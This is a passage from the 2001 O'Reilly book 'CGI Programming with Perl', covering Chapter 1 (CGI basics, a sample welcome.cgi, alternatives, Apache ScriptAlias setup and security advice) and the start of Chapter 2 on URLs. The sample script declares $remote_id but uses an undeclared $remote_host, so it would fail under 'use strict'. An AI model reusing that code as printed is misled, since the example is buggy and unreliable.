You should already be comfortable with Perl. Although the first edition of CGI Programming on the World Wide Web discussed other programming languages, this edition of CGI Programming with Perl (as the new name implies) focuses exclusively on Perl. CGI supports a wide variety of programming languages, but Perl has certainly become the language of choice.

If you do not already know Perl, an excellent introduction is Learning Perl, Second Edition, by Randal Schwartz and Tom Christiansen (published by O'Reilly & Associates, Inc.). Once you understand the basics, we strongly recommend you get a copy of Programming Perl, Third Edition (affectionately known as The Camel Book) by Larry Wall, Tom Christiansen, and Jon Orwant (O'Reilly & Associates, Inc.). It is the standard reference used by Perl developers everywhere. Additional Perl resources are listed in Appendix A, "Works Cited and Further Reading".

We will discuss many modules from CPAN, the Comprehensive Perl Archive Network. If you have not downloaded and installed modules from CPAN before, refer to Appendix B, "Perl Modules".

You should also be familiar with perldoc, the standard tool for browsing Perl documentation. perldoc is useful for two reasons. First, it allows you to access the convenient and extensive documentation distributed with Perl. Second, it is essential for learning to use modules downloaded from CPAN. perldoc is also presented in Appendix B, "Perl Modules".

Previous | Home | Next
0. Preface | Book Index | 0.3. Overview of the Book
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments from the First Edition (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

0.7. Acknowledgments from the First Edition

I'd like to thank Dyung Le for not only suggesting the idea for the book, but giving me an opportunity to develop software straight out of high school. In addition, I'd like to thank Rita Horsey, who also taught me quite a bit, and provided me with an Internet connection in the early days of the book.

Of course, I'd also like to thank my family for not only putting up with my bizarre work hours during the entire writing period, but also coming to my assistance whenever I needed it. There's no way I could have finished this book without their support.

Thanks to all the reviewers and everyone who provided suggestions: Jeffrey Friedl (the king of regular expressions), Andreas Koenig (the father of MakeMaker), Marc Hedlund (the originator of the CGI FAQ), Tom Christiansen (the Unix wizard), Jon Backstrom, Joseph Radin, Paul DuBois, and from ORA, Norman Walsh, Paula Ferguson, Ellie Cutler, Tanya Herlick, Frank Willison, Andy Oram, Linda Mui, and Tim O'Reilly.

And last, but not least, a thanks to all my friends here and to my family and relatives in India, especially my grandparents.

Hope you find the book useful!

Shishir Gundavaram, March 1996

Previous | Home | Next
0.6. Acknowledgments | Book Index | 1. Getting Started
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Getting Started (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 1. Getting Started

Contents:

History
Introduction to CGI
Alternative Technologies
Web Server Configuration

Like the rest of the Internet, the Common Gateway Interface , or CGI, has come a very long way in a very short time. Just a handful of years ago, CGI scripts were more of a novelty than practical; they were associated with hit counters and guestbooks, and were written largely by hobbyists. Today, CGI scripts, written by professional web developers, provide the logic to power much of the vast structure the Internet has become.

1.1. History

Despite the attention it now receives, the Internet is not new. In fact, the precursor to today's Internet began thirty years ago. The Internet began its existence as the ARPAnet, which was funded by the United States Department of Defense to study networking. The Internet grew gradually during its first 25 years, and then suddenly blossomed.

The Internet has always contained a variety of protocols for exchanging information, but when web browsers such as NCSA Mosaic and, later, Netscape Navigator appeared, they spurred an explosive growth. In the last six years, the number of web hosts alone has grown from under a thousand to more than ten million. Now, when people hear the term Internet, most think of the Web. Other protocols, such as those for email, FTP, chat, and news, certainly remain popular, but they have become secondary to the Web, as more people are using web sites as their gateway to access these other services.

The Web was by no means the first technology available for publishing and exchanging information, but there was something different about the Web that prompted its explosive growth. We'd love to tell you that CGI was the sole factor for the Web's early growth over protocols like FTP and Gopher. But that wouldn't be true. Probably the real reason the Web gained popularity initially was because it came with pictures. The Web was designed to present multiple forms of media: browsers supported inlined images almost from the start, and HTML supported rudimentary layout control that made information easier to present and read. This control continued to increase as Netscape added support for new extensions to HTML with each successive release of the browser.

Thus initially, the Web grew into a collection of personal home pages and assorted web sites containing a variety of miscellaneous information. However, no one really knew what to do with it, especially businesses. In 1995, a common refrain in corporations was "Sure the Internet is great, but how many people have actually made money online?" How quickly things change.

1.1.1. How CGI Is Used Today

Today, e-commerce has taken off and dot-com startups are appearing everywhere. Several technologies have been fundamental to this progress, and CGI is certainly one of the most important. CGI allows the Web to do things, to be more than a collection of static resources. A static resource is something that does not change from request to request, such as an HTML file or a graphic. A dynamic resource is one that contains information that may vary with each request, depending on any number of conditions including a changing data source (like a database), the identity of the user, or input from the user. By supporting dynamic content, CGI allows web servers to provide online applications that users from around the world on various platforms can all access via a standard client: a web browser.

It is difficult to enumerate all that CGI can do, because it does so much. If you perform a search on a web site, a CGI application is probably processing your information. If you fill out a registration form on the Web, a CGI application is probably processing your information. If you make an online purchase, a CGI application is probably validating your credit card and logging the transaction. If you view a chart online that dynamically displays information graphically, chances are that a CGI application created that chart. Of course, over the last few years other technologies have appeared to handle dynamic tasks like these; we'll look at some of those in a moment. However, CGI remains the most popular way to do these tasks and more.

Previous | Home | Next
0.7. Acknowledgments from the First Edition | Book Index | 1.2. Introduction to CGI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction to CGI (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

1.2. Introduction to CGI

CGI can do so much because it is so simple. CGI is a very lightweight interface; it is essentially the minimum that the web server needs to provide in order to allow external processes to create web pages. Typically, when a web server gets a request for a static web page, the web server finds the corresponding HTML file on its filesystem. When a web server gets a request for a CGI script, the web server executes the CGI script as another process (i.e., a separate application); the server passes this process some parameters and collects its output, which it then returns to the client just as if had been fetched from a static file (see Figure 1-1).

Figure 1-1. How a CGI application is executed

So how does the whole interface work? We'll spend the remainder of the book answering this question in more detail, but let's take a basic look now.

Web browsers request dynamic resources such as CGI scripts the same way they request any other resource on the Web: they send a message formatted according to the Hypertext Transport Protocol, or HTTP. We'll discuss HTTP in Chapter 2, "The Hypertext Transport Protocol ". An HTTP request includes a Universal Resource Locator, or URL, and by looking at the URL, the web server determines which resource to return. Typically, CGI scripts share a common directory, like /cgi, or a filename extension, like .cgi. If the web server recognizes that the request is for a CGI script, it executes the script.

Say you wanted to visit the URL, http://www.mikesmechanics.com/cgi/welcome.cgi. At its most basic, Example 1-1 shows a sample HTTP request your web browser might send.

Example 1-1. Sample HTTP Request

GET /cgi/welcome.cgi HTTP/1.1
Host: www.mikesmechanics.com

This GET request identifies the resource to retrieve as /cgi/welcome.cgi. Assuming our server recognizes all files in the /cgi directory tree as CGI scripts, it understands that it should execute the welcome.cgi script instead of returning its contents directly to the browser.

CGI programs get their input from standard input (STDIN) and environment variables. These variables contain information such as the identity of the remote host and user, the value of form elements submitted (if any), etc. They also store the server name, the communication protocol, and the name of the software running the server. We'll look at each one of these in more detail in Chapter 3, "The Common Gateway Interface".

Once the CGI program starts running, it sends its output back to the web server via standard output (STDOUT). In Perl, this is easy to do because by default, anything you print goes to STDOUT. CGI scripts can either return their own output as a new document or provide a new URL to forward the request elsewhere. CGI scripts print a special line formatted according to HTTP headers to indicate this to the web server. We'll look at these headers in the next chapter, but here is a sample of what a CGI script returning HTML would output:

Content-type: text/html

CGI scripts actually can return extra header lines if they choose, so to indicate that it has finished sending headers, a CGI script prints a blank line. Finally, if it is outputting a document, it prints the contents of that document, too.

The web server takes the output of the CGI script and adds its own HTTP headers before sending it back to the browser of the user who requested it. Example 1-2 shows a sample response that a web browser would receive from the web server.

Example 1-2. Sample HTTP Response

HTTP/1.1 200 OK
Date: Sat, 18 Mar 2000 20:35:35 GMT
Server: Apache/1.3.9 (Unix)
Last-Modified: Wed, 20 May 1998 14:59:42 GMT
ETag: "74916-656-3562efde"
Content-Length: 2000
Content-Type: text/html

<HTML>
<HEAD>
  <TITLE>Welcome to Mike's Mechanics Database</TITLE>
</HEAD>

<BODY BGCOLOR="#ffffff">
  <IMG SRC="/images/mike.jpg" ALT="Mike's Mechanics">
  <P>Welcome from dyn34.my-isp.net! What will you find here? You'll
    find a list of mechanics from around the country and the type of
    service to expect -- based on user input and suggestions.</P>
  <P>What are you waiting for? Click <A HREF="/cgi/list.cgi">here</A>
    to continue.</P>
  <HR>
  <P>The current time on this server is: Sat Mar 18 10:28:00 2000.</P>
  <P>If you find any problems with this site or have any suggestions,
    please email <A HREF="mailto:webmaster@mikesmechanics.com">
    webmaster@mikesmechanics.com</A>.</P>
</BODY>
</HTML>

The header contains the communication protocol, the date and time of the response, the server name and version, the last time the document was modified, an entity tag used for caching, the length of the response, and the media type of the document -- in this case, a text document formatted with HTML. Headers like these are returned with all responses from web servers, and we'll look at HTTP headers in more detail in the next chapter. However, note that nothing here indicates to the browser whether this response came from the contents of a static HTML file or whether it was generated dynamically by a CGI script. This is as it should be; the browser asked the web server for a resource, and it received a resource. It doesn't care where the document came from or how the web server generated it.

CGI allows you to generate output that doesn't look any different to the end user than other responses on the Web. This flexibility allows you to generate anything with a CGI script that the web server could get from a file, including HTML documents, plain text documents, PDF files, or even images like PNGs or GIFs. We'll look at how to create dynamic images in Chapter 13, "Creating Graphics on the Fly".

1.2.1. Sample CGI

Let's look at a sample CGI application, written in Perl, that creates the dynamic output we just saw in Example 1-2. This program, shown in Example 1-3, determines where the user is connecting from and then creates a simple HTML document containing this information, along with the current time. In the next several chapters, we'll see how to use various CGI modules to make creating such an application even easier; for now, however, we will keep it straightforward.

Example 1-3. welcome.cgi

#!/usr/bin/perl -wT

use strict;

my $time        = localtime;
my $remote_id   = $ENV{REMOTE_HOST} || $ENV{REMOTE_ADDR};
my $admin_email = $ENV{SERVER_ADMIN};

print "Content-type: text/html\n\n";

print <<END_OF_PAGE;
<HTML>
<HEAD>
  <TITLE>Welcome to Mike's Mechanics Database</TITLE>
</HEAD>

<BODY BGCOLOR="#ffffff">
  <IMG SRC="/images/mike.jpg" ALT="Mike's Mechanics">
  <P>Welcome from $remote_host! What will you find here? You'll
    find a list of mechanics from around the country and the type of
    service to expect -- based on user input and suggestions.</P>
  <P>What are you waiting for? Click <A HREF="/cgi/list.cgi">here</A>
    to continue.</P>
  <HR>
  <P>The current time on this server is: $time.</P>
  <P>If you find any problems with this site or have any suggestions,
    please email <A HREF="mailto:$admin_email">$admin_email</A>.</P>
</BODY>
</HTML>
END_OF_PAGE

This program is quite simple. It contains only six commands, although the last one is many lines long. Let's take a look at how it works. Because this script is our first and is short, we'll look at it line by line; but as mentioned in the Preface, this book does assume that you are already familiar with Perl. So if you do not know Perl well or if your Perl is a little rusty, you may want to have a Perl reference available to consult as you read this book. We recommend Programming Perl, Third Edition, by Larry Wall, Tom Christiansen, and Jon Orwant (O'Reilly & Associates, Inc.); not only is it the standard Perl tome, but it also has a convenient alphabetical description of Perl's built-in functions.

The first line of the program looks like the top of most Perl scripts. It tells the server to use the program at /usr/bin/perl to interpret and execute this script. You may not recognize the flags, however: the -wT flags tell Perl to turn on warnings and taint checking. Warnings help locate subtle problems that may not generate syntax errors; enabling this is optional, but it is a very helpful feature. Taint checking should not be considered optional: unless you like living dangerously, you should enable this feature with all of your CGI scripts. We will discuss taint checking more in Chapter 8, "Security".

The command use strict tells Perl to enable strict rules for variables, subroutines, and references. If you haven't used this command before, you should get into the habit of using it with your CGI scripts. Like warnings, it helps locate subtle mistakes, such as typos, that might not otherwise generate a syntax error. Furthermore, the strict pragma encourages good programming practices by forcing you to declare variables and reduce the number of global variables. This produces code that is more maintainable. Finally, as we will see in Chapter 17, "Efficiency and Optimization", the strict pragma is essentially required by FastCGI and mod_perl. If you think you might migrate to either of these technologies in the future, you should begin using strict now.

Now we start the real work. First, we set three variables. The first variable, $time, is set to a string representing the current date and time. The second variable, $remote_id, is set to the identity of the remote machine requesting this page, and we get this information from the environment variables REMOTE_HOST or REMOTE_ADDR. As we mentioned earlier, CGI scripts get all of their information from the web server from environment variables and STDIN. REMOTE_HOST contains the full domain name of the remote machine, but only if reverse domain name lookups have been enabled for the web server -- otherwise, it is blank. In this case, we use REMOTE_ADDR instead, which contains the IP address of the remote machine. The final variable, $admin_email, is set to SERVER_ADMIN, which contains the email address of the server's administrator according to the server's configuration files. These are just a few environment variables available to CGI scripts. We'll review these three in more detail along with the rest in Chapter 3, "The Common Gateway Interface".

As we saw earlier, if a CGI script wants to return a new document, it must first output an HTTP header declaring the type of document it is returning. It does this and prints an additional blank line to indicate that it has finished sending headers. It then prints the body of the document.

Instead of using a print statement to send each line to standard output separately, we use a "here" document, which allows us to print a block of text at once. This is a standard Perl feature that's admittedly a little esoteric; you may not be familiar with this if you have not done other forms of shell programming. This command tells Perl to print all of the following lines until it encounters the END_OF_PAGE token on its own line. It treats the text as if it were enclosed in double quotes, so the variables are evaluated, but double quotes do not need to be escaped. Not only do "here" documents save us from a lot of extra typing, but they also make the program easier to read. However, there are even better ways of outputting HTML, as we'll see in Chapter 5, "CGI.pm", and Chapter 6, "HTML Templates".

That's all there is to our script, so at this point it exits; the web server adds additional HTTP headers and returns the response to the client as we saw in Example 1-2. This was just a simple example of a CGI script, and don't worry if you have questions or are unsure about a particular detail. As our numerous references to later chapters indicate, we'll spend the rest of the book filling in the details.

1.2.2. Invoking CGI Scripts

CGI scripts have their own URLs, just like HTML documents and other resources on the Web. The server is typically configured to map a particular virtual directory (a directory contained within a URL) to CGI scripts, such as /cgi-bin, /cgi, /scripts, etc. Generally, both the location for CGI scripts on the server's filesystem and the corresponding URL path can be overridden in the server's configuration. We will see how to do this for the Apache web server a little later in Section 1.4.1, "Configuring CGI Scripts".

On Unix, the filesystem differentiates between files that are executable and those that are not. CGI scripts must be executable. Assuming you have a Perl file that you have named my_script.cgi, you would issue the following command from the shell to make a file executable:

chmod 0755 my_script.cgi

Forgetting this step is a common problem. On other operating systems, you may have to enable other settings to enable scripts to run. Refer to the documentation for your web server.

Previous | Home | Next
1. Getting Started | Book Index | 1.3. Alternative Technologies
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Alternative Technologies (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

1.3. Alternative Technologies

As its title suggests, this book focuses on CGI programs written in Perl. Because Perl and CGI are so often used together, some people are unclear about the distinction. Perl is a programming language, and CGI is an interface that a program uses to handle requests from a web server. There are alternatives both to CGI and to Perl: there are new alternatives to CGI for handling dynamic requests, and CGI applications can be written in a variety of languages.

1.3.1. Why Perl?

Although CGI applications can be written in any almost any language, Perl and CGI scripting have become synonymous to many programmers. As Hassan Schroeder, Sun's first webmaster, said in his oft-quoted statement, "Perl is the duct tape of the Internet." Perl is by far the most widely used language for CGI programming, and for many good reasons:

  • Perl is easy to learn because it resembles other popular languages (such as C), because it is forgiving, and because when an error occurs it provides specific and detailed error messages to help you locate the problem quickly.

  • Perl allows rapid development because it is interpreted; the source code does not need to be compiled before execution.

  • Perl is easily portable and available on many platforms.

  • Perl contains extremely powerful string manipulation operators, with regular expression matching and substitution built right into the language.

  • Perl handles and manipulates binary data just as easily as it handles text.

  • Perl does not require strict variable types; numbers, strings, and booleans are simply scalars.

  • Perl interfaces with external applications very easily and provides its own filesystem functions.

  • There are countless open source modules for Perl available on CPAN, ranging from modules for creating dynamic graphics to interfacing with Internet servers and database engines. For more information on CPAN, refer to Appendix B, "Perl Modules".

Furthermore, Perl is fast. Perl isn't strictly an interpreted language. When Perl reads a source file, it actually compiles the source into low-level opcodes and then executes them. You do not generally see compilation and execution in Perl as separate steps because they typically occur together: Perl launches, reads a source file, compiles it, runs it, and exits. This process is repeated each time a Perl script is executed, including each time a CGI script is executed. Because Perl is so efficient, however, this process occurs fast enough to handle requests for all but the most heavily trafficked web sites. Note that this is considerably less efficient on Windows systems than on Unix systems because of the additional overhead that creating a new process on Windows entails.

1.3.2. Alternatives to CGI

Several alternatives to CGI have appeared in recent years. They all build upon CGI's legacy and provide their own approaches to the same underlying goal: responding to queries and presenting dynamic content via HTTP. Most of them also attempt to avoid the main drawback to CGI scripts: creating a separate process to execute the script every time it is requested. Others also try to make less of a distinction between HTML pages and code by moving code into HTML pages. We'll discuss the theories behind this approach in Chapter 6, "HTML Templates". Here is a list of some of the major alternatives to CGI:

ASP

Active Server Pages, or ASP, was created by Microsoft for its web server, but it is now available for many servers. The ASP engine is integrated into the web server so it does not require an additional process. It allows programmers to mix code within HTML pages instead of writing separate programs. As we'll see in Chapter 6, "HTML Templates", there are modules available that allow us to do similar things using CGI. ASP supports multiple languages; the most popular is Visual Basic, but JavaScript is also supported, and ActiveState offers a version of Perl that can be used on Windows with ASP. There is also a Perl module, Apache::ASP, that supports ASP with mod_perl.

PHP

PHP is a programming language that is similar to Perl, and its interpreter is embedded within the web server. PHP supports embedded code within HTML pages. PHP is supported by the Apache web server.

ColdFusion

Allaire's ColdFusion creates more of a distinction than PHP between code pages and HTML pages. HTML pages can include additional tags that call ColdFusion functions. A number of standard functions are available with ColdFusion, and developers can create their own controls as extensions. ColdFusion was originally written for Windows, but versions for various Unix platforms are now available as well. The ColdFusion interpreter is integrated into the web server.

Java servlets

Java servlets were created by Sun. Servlets are similar to CGI scripts in that they are code that creates documents. However, servlets, because they use Java, must be compiled as classes before they are run, and servlets are dynamically loaded as classes by the web server when they are run. The interface is quite different than CGI. JavaServer Pages, or JSP, is another technology that allows developers to embed Java in web pages, much like ASP.

FastCGI

FastCGI maintains one or more instances of perl that it runs continuously along with an interface that allows dynamic requests to be passed from the web server to these instances. It avoids the biggest drawback to CGI, which is creating a new process for each request, while still remaining largely compatible with CGI. FastCGI is available for a variety of web servers. We'll discuss FastCGI further in Chapter 17, "Efficiency and Optimization".

mod_perl

mod_perl is a module for the Apache web server that also avoids creating separate instances of perl for each CGI. Instead of maintaining a separate instance of perl like FastCGI, mod_perl embeds the perl interpreter inside the web server. This gives it a performance advantage and also gives Perl code written for mod_perl access to Apache's internals. We'll discuss mod_perl further in Chapter 17, "Efficiency and Optimization".

Despite a proliferation of these competing technologies, CGI continues to be the most popular method for delivering dynamic pages, and, despite what the marketing literature for some of its competitors may claim, CGI will not go away any time soon. Even if you do imagine that you may begin using other technologies down the road, learning CGI is a valuable investment. Because CGI is such a thin interface, learning CGI teaches you how web transactions works at a basic level, which can only further your understanding of other technologies built upon this same foundation. Additionally, CGI is universal. Many alternative technologies require that you install a particular combination of technologies in addition to your web server in order to use them. CGI is supported by virtually every web server "right out of the box" and will continue to be that way far into the future.

Previous | Home | Next
1.2. Introduction to CGI | Book Index | 1.4. Web Server Configuration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Web Server Configuration (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

1.4. Web Server Configuration

Before you can run CGI programs on your server, certain parameters in the server configuration files must be modified. Throughout this book, we will use the Apache web server on a Unix platform in our examples. Apache is by far the most popular web server available, plus it's open source and available for free. Apache is derived from the NCSA web server, so many configuration details for it are similar to those for other web servers that are also derived from the NCSA server, such as those sold by iPlanet (formerly Netscape).

We assume that you already have access to a working web server, so we won't cover how to install and initially configure Apache. That lengthy discussion would be well beyond the scope of this book, and that information is already available in another fine book, Apache: The Definitive Guide, by Ben and Peter Laurie (O'Reilly & Associates, Inc.).

Apache is not always installed in the same place on all systems. Throughout this book, we will use the default installation path, which places everything beneath /usr/local/apache. Apache's subdirectories are:

$ cd /usr/local/apache
$ ls -F
bin/  cgi-bin/  conf/  htdocs/  icons/  include/  libexec/  logs/  man/  proxy/

Depending on how Apache was configured during installation, you may not have some directories, such as libexec or proxy ; this is fine. With some popular Unix and Unix-compatible distributions that include Apache (e.g., some Linux distributions), the subdirectories above may be distributed across the system instead. For example, on RedHat Linux, the subdirectories are remapped, as shown in Table 1-1.

Table 1-1. Alternative Paths to Important Apache Directories

Default Installation Path | Alternative Path (RedHat Linux)
/usr/local/apache/cgi-bin | /home/httpd/cgi-bin
/usr/local/apache/htdocs | /home/httpd/html
/usr/local/apache/conf | /etc/httpd/conf
/usr/local/apache/logs | /var/log/httpd

If this is the case, you will need to translate our instructions to the paths on your system. If Apache is installed on your system, and its directories are not at either of these locations, then ask your system administrator or refer to your system documentation to locate them.

You configure Apache by modifying the configuration files found in the conf directory. These files contain directives that Apache reads when it starts. Older versions of Apache included three files: httpd.conf, srm.conf, and access.conf. However, using the latter two files was never required, and recent distributions of Apache include all of the directives in httpd.conf. This allows you to manage the full configuration in one location without bouncing between files. It also avoids situations where your configuration between files does not match, which can create security problems.

Many sites still use all three configuration files, if only because they have not bothered to combine them. Therefore, here and throughout the book, whenever we discuss Apache configuration, we will specify the alternative name of the file you need to edit if you are using all three files.

Finally, remember that Apache must be told to reread its configuration files whenever you make changes to them. You do not need to do a full server restart, although that also works. If your system has the apachectl command (part of the standard install), you can tell Apache to reread its configuration while it is running with this command:

$ apachectl graceful

This may require superuser (i.e., root) privileges.

1.4.1. Configuring CGI Scripts

Enabling CGI execution with Apache is very simple, although there is a good way to do it and a less good way to do it. Let's start with the good way, which involves creating a special directory for our CGI scripts.

1.4.1.1. Configuring by directory

The ScriptAlias directive tells the web server to map a virtual path (the path in a URL) to a directory on the disk and execute any files it finds there as CGI scripts.

To enable CGI scripts for our web server, place this directive in httpd.conf :

ScriptAlias          /cgi        /usr/local/apache/cgi-bin

For example, if a user accesses the URL:

http://your_host.com/cgi/my_script.cgi

then the local program:

/usr/local/apache/cgi-bin/my_script.cgi

will be executed by the server. Note that the cgi path in the URL does not need to be the same as the name of the filesystem directory, cgi-bin . Whether you map the CGI directory to the virtual path called cgi, cgi-bin, or anything else for that matter, is strictly your own preference. You can also have multiple directories hold CGI scripts if you need that feature:

ScriptAlias          /cgi        /usr/local/apache/cgi-bin/
ScriptAlias          /cgi2       /usr/local/apache/alt-cgi-bin/

The directory that holds CGI scripts must be outside the server's document root. In a standard Apache install, the document root maps to the htdocs directory. All files beneath this directory are browsable. By default, the cgi-bin directory is not beneath htdocs, so if we were to disable our ScriptAlias directive, for example, there would be no way to access the CGI scripts. There is a very good reason for this, and it is not simply to protect yourself from someone accidentally deleting the ScriptAlias directive.

Here is an example why you should not place your CGI script directory within the document root. Say you do decide that you want to have multiple directories for CGI scripts throughout your web site within the document root. You might decide that it would be nice to have a directory for each of your major applications. Say that you have an online widget store that you put in /usr/local/apache/htdocs/widgets and the CGI script directory at /usr/local/apache/htdocs/widgets/cgi. You then add the following directive:

ScriptAlias     /widgets-cgi   /usr/local/apache/htdocs/widgets/cgi

If you were to do this and test it, it would work fine. However, suppose that your company later expands to sell woozles in addition to widgets, so the store needs a more general name. You rename the widgets directory to store, update the ScriptAlias directive, update all related HTML links, and create a symbolic link from widgets to store in order to support those users who bookmarked the old name. Sounds like a good plan, right?

Unfortunately, that last step, the symbolic link, just created a large security hole. The problem is that it is now possible to access your CGI scripts via two different URLs. For example, you may have a CGI script called purchase.cgi that can be accessed either of these two ways:

http://localhost/store-cgi/purchase.cgi

http://localhost/widgets-cgi/purchase.cgi

The first URL will be handled by the ScriptAlias directive; the second will not. If users attempt to access the second URL, instead of being greeted by a web page, they will be greeted with the source code of your CGI script. If you're lucky, someone will send you an email notifying you of the problem. If you're not, a mischievous user may start poking around your scripts to find security holes to break into your system to get at more valuable information (like database passwords or credit card numbers).

Any symbolic link above a directory containing CGI scripts allows this security hole.[1] The scenario about renaming a directory and providing a link to its old name is simply one example of a situation when this may occur innocently. If you place your CGI scripts outside of your server's document root, you never have to worry about someone accidentally exposing your scripts this way.

[1]It is possible to configure Apache to not follow symbolic links, which provides an alternative solution. However, symbolic links in general can be quite useful, and they are enabled by default. The problem in this situation is not with the symbolic link; it is with having the CGI scripts in a browsable location.

You may wonder why revealing your source code is such a problem. CGI scripts have certain characteristics that make them quite different than other forms of executables from a security standpoint. They allow remote, anonymous users to run programs on your system. Thus, security should always be an important consideration, and your code must be flawless if you are willing to allow potential attackers to review your source code. Although security through obscurity is not good protection in and of itself, it certainly doesn't hurt when combined with other forms of security. We will discuss security in much greater detail in Chapter 8, "Security".

1.4.1.2. Configuring by extension

The alternative to configuring CGI scripts via a common directory is to distribute them throughout your document tree and have your web server recognize them by their filename extension, such as .cgi. This is a very bad idea, from the standpoint of both architecture and security.

From an architectural standpoint, you should not do this because having a common directory for all of your CGI scripts helps you manage them. As web sites grow, it may be difficult to keep track of all of the CGI scripts that your site uses. Placing them under a common directory makes them easier to find and promotes creating CGI scripts that are general solutions to multiple problems instead of handfuls of single-use scripts. You can then create subdirectories beneath the main /cgi directory to organize your scripts.

There are two reasons why configuring CGI scripts by extension is insecure. First, it allows anyone who has permissions to update HTML files to create CGI scripts. As we said, CGI scripts require particular security considerations, and you should not allow novice programmers to create scripts on production web servers. Second, it increases the likelihood that someone can view the source code to your CGI scripts. Many text editors create backup files while you are editing a file; some of them create these files in the same directory where you are working. For example, if you were editing a file called top_secret.cgi with emacs, it typically creates a backup file called top_secret.cgi~. If this second file makes it onto the production web server and someone with a lucky hunch attempts to request that file, the web server will not recognize the extension and will simply return the raw source code.

Of course, your text editor ideally should delete these files when you finish working on them, and you really should not be editing files directly on a production web server. But files like this do get left around sometimes, and they might make it to the production web server. Files also get renamed manually sometimes. A developer may wish to make changes to a file but save a backup of this file by making a copy and renaming it with a .bak extension. If a backup file were in a directory configured with ScriptAlias, then it is not displayed; it is treated like any other CGI script and executed, which is a much safer alternative.

So, if your web server happens to be configured to allow CGI scripts anywhere, here is how to fix it. The following line tells the web server to execute any file ending with a .cgi suffix:

AddHandler    cgi-script    .cgi

You can comment it out by preceding it with #, just like in Perl. Without this directive, Apache will treat .cgi files as unknown files and return them according to the default media type -- typically plain text. So be sure that you move all of your CGI scripts outside the document root before you remove this directive.

You may also turn off the CGI execute permissions for particular directories by disabling the ExecCGI option. The line to enable it looks like this:

<Directory "/usr/local/apache/htdocs">
  .
  .
  Options Indexes FollowSymLinks ExecCGI
  .
  .
</Directory>

There are probably many other lines above and below the Options directive, and the Options directive on your system may differ. If you remove ExecCGI, then even with the CGI handler directive enabled above, Apache will not execute CGI scripts in the location that this Options directive applies -- in this case, the document root, /usr/local/apache/htdocs. Users will instead get an error page telling them "Permission Denied."

Now that we have our web server set up, and we have gotten a chance to see what CGI can do, we can investigate CGI in more detail. We start the next chapter by reviewing HTTP, the language of the Web and the foundation of CGI.

Previous | Home | Next
1.3. Alternative Technologies | Book Index | 2. The Hypertext Transport Protocol
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Hypertext Transport Protocol (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 2. The Hypertext Transport Protocol

Contents:

URLs
HTTP
Browser Requests
Server Responses
Proxies
Content Negotiation
Summary

The Hypertext Transport Protocol (HTTP) is the common language that web browsers and web servers use to communicate with each other on the Internet. CGI is built on top of HTTP, so to understand CGI fully, it certainly helps to understand HTTP. One of the reasons CGI is so powerful is because it allows you to manipulate the metadata exchanged between the web browser and server and thus perform many useful tricks, including:

  • Serve content of varying type, language, or other encoding according to the client's needs.

  • Check the user's previous location.

  • Check the browser type and version and adapt your response to it.

  • Specify how long the client can cache a page before it is considered outdated and should be reloaded.

We won't cover all of the details of HTTP, just what is important for our understanding of CGI. Specifically, we'll focus on the request and response process: how browsers ask for and receive web pages.

If you are interested in understanding more about HTTP than we provide here, visit the World Wide Web Consortium's web site at http://www.w3.org/Protocols/. On the other hand, if you are eager to get started writing CGI scripts, you may be tempted to skip this chapter. We encourage you not to. Although you can certainly learn to write CGI scripts without learning HTTP, without the bigger picture you may end up memorizing what to do instead of understanding why. This is certainly the most challenging chapter, however, because we cover a lot of material without many examples. So if you find it a little dry and want to peek ahead to the fun stuff, we'll forgive you. Just be sure to return here later.

2.1. URLs

During our discussion of HTTP and CGI, we will be often be referring to URLs , or Uniform Resource Locators. If you have used the Web at all, then you are probably familiar with URLs. In web terms, a resource represents anything available on the web, whether it be an HTML page, an image, a CGI script, etc. URLs provide a standard way to locate these resources on the Web.

Note that URLs are not actually specific to HTTP; they can refer to resources in many protocols. Our discussion here will focus strictly on HTTP URLs.

What About URIs?

You may have also encountered the term URI and wondered about the difference between a URI and a URL. Actually, the terms are often interchangeable because all URLs are URIs. Uniform Resource Identifiers (URIs) are a more generalized class which includes URLs as well as Uniform Resource Names (URNs). A URN provides a name that sticks to an object even though the location of the object may move around. You can think of it this way: your name is similar to a URN, while your address is similar to a URL. Both serve to identify you in some way, and in this manner both are URIs.

Because URNs are just a concept and are not used on the Web today, you can safely think of URIs and URLs as interchangeable terms and not let the terminology throw you. Since we are not interested in other forms of URIs, we will try to avoid confusion altogether by just using the term URL in the text.

2.1.1. Elements of a URL

HTTP URLs consist of a scheme, a host name, a port number, a path, a query string, and a fragment identifier, any of which may be omitted under certain circumstances (see Figure 2-1).

Figure 2-1. Components of a URL

HTTP URLs contain the following elements:

Scheme

The scheme represents the protocol, and for our purposes will either be http or https. https represents a connection to a secure web server. Refer to the sidebar "The Secure Sockets Layer" later in this chapter.

Host

The host identifies the machine running a web server. It can be a domain name or an IP address, although it is a bad idea to use IP addresses in URLs and is strongly discouraged. The problem is that IP addresses often change for any number of reasons: a web site may move from one machine to another, or it may relocate to another network. Domain names can remain constant in these cases, allowing these changes to remain hidden from the user.

Port number

The port number is optional and may appear in URLs only if the host is also included. The host and port are separated by a colon. If the port is not specified, port 80 is used for http URLs and port 443 is used for https URLs.

It is possible to configure a web server to answer other ports. This is often done if two different web servers need to operate on the same machine, or if a web server is operated by someone who does not have sufficient rights on the machine to start a server on these ports (e.g., only root may bind to ports below 1024 on Unix machines). However, servers using ports other than the standard 80 and 443 may be inaccessible to users behind firewalls. Some firewalls are configured to restrict access to all but a narrow set of ports representing the defaults for certain allowed protocols.

Path information

Path information represents the location of the resource being requested, such as an HTML file or a CGI script. Depending on how your web server is configured, it may or may not map to some actual file path on your system. As we mentioned last chapter, the URL path for CGI scripts generally begin with /cgi/ or /cgi-bin/ and these paths are mapped to a similarly-named directory in the web server, such as /usr/local/apache/cgi-bin.

Note that the URL for a script may include path information beyond the location of the script itself. For example, say you have a CGI at:

http://localhost/cgi/browse_docs.cgi

You can pass extra path information to the script by appending it to the end, for example:

